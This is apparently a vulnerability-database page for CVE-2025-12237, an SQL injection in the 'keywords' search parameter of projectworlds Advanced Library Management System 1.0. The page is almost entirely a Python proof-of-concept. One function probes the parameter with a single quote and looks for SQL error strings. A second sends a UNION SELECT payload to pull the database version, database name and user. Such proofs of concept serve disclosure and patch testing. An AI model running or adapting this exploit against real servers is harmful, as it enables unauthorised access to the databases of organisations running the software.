CVE-2025-12237 | projectworlds ALMS图书管理系统SQL注入漏洞

import requests # CVE-2025-12237 SQL Injection PoC # Target: projectworlds Advanced Library Management System 1.0 # Vulnerability: SQL Injection in /index.php keywords parameter target_url = "http://target-server/index.php" # Basic SQL Injection test - detect vulnerability def test_sql_injection(): # Normal request normal_payload = {"keywords": "test"} normal_response = requests.get(target_url, params=normal_payload) # SQL Injection test payload - using single quote to trigger SQL error sql_test_payload = {"keywords": "test'"} try: response = requests.get(target_url, params=sql_test_payload, timeout=10) # Check for SQL error indicators error_signatures = [ "mysql", "sql", "syntax", "error", "warning", "query", "database", "sqlite", "postgresql" ] response_text = response.text.lower() for signature in error_signatures: if signature in response_text: print(f"[+] Potential SQL Injection vulnerability detected!") print(f"[+] Error signature found: {signature}") return True return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False # UNION-based SQL Injection to extract database info def extract_db_info(): # Payload to extract MySQL version and current database union_payload = {"keywords": "test' UNION SELECT NULL,version(),database(),user()-- -"} try: response = requests.get(target_url, params=union_payload, timeout=10) # Parse response to extract database information # In real attack, would parse the response HTML return response.text except requests.exceptions.RequestException as e: print(f"[-] Failed to extract info: {e}") return None if __name__ == "__main__": print("[*] Testing CVE-2025-12237 SQL Injection...") test_sql_injection()